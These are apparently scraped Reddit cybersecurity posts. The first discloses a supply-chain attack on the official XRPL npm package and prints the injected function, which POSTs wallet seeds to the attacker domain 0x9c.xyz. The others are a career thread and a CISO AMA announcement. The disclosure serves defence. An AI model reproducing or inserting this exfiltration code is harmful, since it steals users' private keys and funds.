A few hours ago we discovered that malware was introduced into the XRPL package on NPM. This is the offical SDK for Ripple to interact with the Ripple ledger. The malicious package is still live right now - https://www.npmjs.com/package/xrpl?activeTab=code (src/index.ts) Technical Details Malware Function: A malicious function checkValidityOfSeed was inserted. It POSTs private key data to an attacker's domain 0x9c[.]xyz (C2 server). How was it injected? Code was committed user mukulljangid, believed to be a compromised Ripple employee account. (employee at ripple since 2021 has the same information on Linkedin) ​ export { Client, ClientOptions } from './client' 2 3export * from './models' 4 5export * from './utils' 6 7export { default as ECDSA } from './ECDSA' 8 9export * from './errors' 10 11export { FundingOptions } from './Wallet/fundWallet' 12export { Wallet } from './Wallet' 13 14export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers' 15 16export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751' 17 18export * from './Wallet/signer' 19 20const validSeeds = new Set<string>([]) 21export function checkValidityOfSeed(seed: string) { 22 if (validSeeds.has(seed)) return 23 validSeeds.add(seed) 24 fetch("https://0x9c.xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } }) 25} You can view the full technical breakdown here -> https://www.aikido.dev/blog/xrp-supplychain-attack-official-npm-package-infected-with-crypto-stealing-backdoor Affected Versions: 4.2.4 4.2.3 4.2.2 4.2.1 2.14.2 Impact If major wallets or exchanges unknowingly upgraded to an infected version, it could cause widespread private key theft across the ecosystem. Swift patching and response are crucial to minimize fallout. submitted by /u/Advocatemack [link] [comments]

submitted by /u/boom_bloom [link] [comments]

This is the weekly thread for career and education questions and advice. There are no stupid questions; so, what do you want to know about certs/degrees, job requirements, and any other general cybersecurity career questions? Ask away! Interested in what other people are asking, or think your question has been asked before? Have a look through prior weeks of content - though we're working on making this more easily searchable for the future. submitted by /u/AutoModerator [link] [comments]

Hello, The editors at CISO Series present this AMA, and they have assembled security leaders who left their roles as CISOs to start their own security companies. They are here to answer any relevant questions about taking the leap of faith from a CISO role to start their own business (launching a security solution or becoming a vCISO/consultant). This has been a long-term partnership between r/cybersecurity and the CISO Series. This week's participants are: Ian Amit, (/u/iiamit), CEO & Co-Founder, GomBoc,ai Sara Lazarus, (/u/securitybysara), Founder and CISO , Faded Jeans Technology Olivia Rose, (/u/SinkBusiness8170), CISO and Founder, Rose CISO Group Rolin (Bud) Peets, (/u/TrustCISOBud), Chief Protection Architect, Harbor IT Proof Photos This AMA will run all week from 20 Apr 2025 to 26 Apr 2025. Our participants will check in over that time to answer your questions. All AMA participants are chosen by the editors at CISO Series (/r/CISOSeries), a media network for security professionals delivering the most fun you’ll have in cybersecurity. Please check out our podcasts and weekly Friday event, Super Cyber Friday, at cisoseries.com. submitted by /u/Oscar_Geare [link] [comments]